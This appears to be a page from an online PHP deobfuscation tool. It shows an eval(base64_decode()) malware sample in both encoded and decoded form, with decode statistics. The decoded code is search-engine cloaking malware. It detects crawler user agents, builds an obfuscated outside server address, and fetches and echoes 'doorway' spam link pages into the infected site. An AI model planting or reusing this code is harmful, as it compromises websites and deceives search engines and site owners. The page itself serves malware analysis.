Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufGJvdHxiaW5nfGFvbHxzcGlkZX..
Decoded Output download
if (preg_match('/google|yahoo|msn|bot|bing|aol|spider|seznam/i', $_SERVER['HTTP_USER_AGENT'])){$root = "http://".hexdec("52").chr("46").bindec(hexdec("10f05e")).chr("46").octdec(hexdec("14")).chr("46").bindec(hexdec("f695b"));$project = "<!-- HTML 3.51.83 -->";if (@extension_loaded('curl')){$method = "curl";}else{$method = "fgc";}$server_host = @$_SERVER['HTTP_HOST'];$url = $root."/_doorways/map/$server_host.html";$url2 = $root."/_doorways/map/map.html";$map = getUrl($url, $method);if (preg_match('/href/i', $map)){echo $map.$project;}else{$map = getUrl($url2, $method);echo $map.$project;}}function getUrl($url, $method){if ($method=='curl'){$curl=@curl_init();@curl_setopt($curl,CURLOPT_URL,$url);@curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,15);@curl_setopt($curl,CURLOPT_TIMEOUT,15);@curl_setopt($curl,CURLOPT_VERBOSE,0);@curl_setopt($curl,CURLOPT_HEADER,0);@curl_setopt($curl,CURLOPT_NOBODY,0);@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);$html=@curl_exec($curl);@curl_close($curl);return $html;}else{$html=@file_get_contents($url);return $html;}}
Did this file decode correctly?
Original Code
eval(base64_decode('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufGJvdHxiaW5nfGFvbHxzcGlkZXJ8c2V6bmFtL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXskcm9vdCA9ICJodHRwOi8vIi5oZXhkZWMoIjUyIikuY2hyKCI0NiIpLmJpbmRlYyhoZXhkZWMoIjEwZjA1ZSIpKS5jaHIoIjQ2Iikub2N0ZGVjKGhleGRlYygiMTQiKSkuY2hyKCI0NiIpLmJpbmRlYyhoZXhkZWMoImY2OTViIikpOyRwcm9qZWN0ID0gIjwhLS0gSFRNTCAzLjUxLjgzIC0tPiI7aWYgKEBleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpeyRtZXRob2QgPSAiY3VybCI7fWVsc2V7JG1ldGhvZCA9ICJmZ2MiO30kc2VydmVyX2hvc3QgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyR1cmwgPSAkcm9vdC4iL19kb29yd2F5cy9tYXAvJHNlcnZlcl9ob3N0Lmh0bWwiOyR1cmwyID0gJHJvb3QuIi9fZG9vcndheXMvbWFwL21hcC5odG1sIjskbWFwID0gZ2V0VXJsKCR1cmwsICRtZXRob2QpO2lmIChwcmVnX21hdGNoKCcvaHJlZi9pJywgJG1hcCkpe2VjaG8gJG1hcC4kcHJvamVjdDt9ZWxzZXskbWFwID0gZ2V0VXJsKCR1cmwyLCAkbWV0aG9kKTtlY2hvICRtYXAuJHByb2plY3Q7fX1mdW5jdGlvbiBnZXRVcmwoJHVybCwgJG1ldGhvZCl7aWYgKCRtZXRob2Q9PSdjdXJsJyl7JGN1cmw9QGN1cmxfaW5pdCgpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwxNSk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVElNRU9VVCwxNSk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVkVSQk9TRSwwKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9IRUFERVIsMCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfTk9CT0RZLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOyRodG1sPUBjdXJsX2V4ZWMoJGN1cmwpO0BjdXJsX2Nsb3NlKCRjdXJsKTtyZXR1cm4gJGh0bWw7fWVsc2V7JGh0bWw9QGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpO3JldHVybiAkaHRtbDt9fQ=='));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | cd7ae580bfc22c642cc5177e8d07936d |
| Eval Count | 1 |
| Decode Time | 68 ms |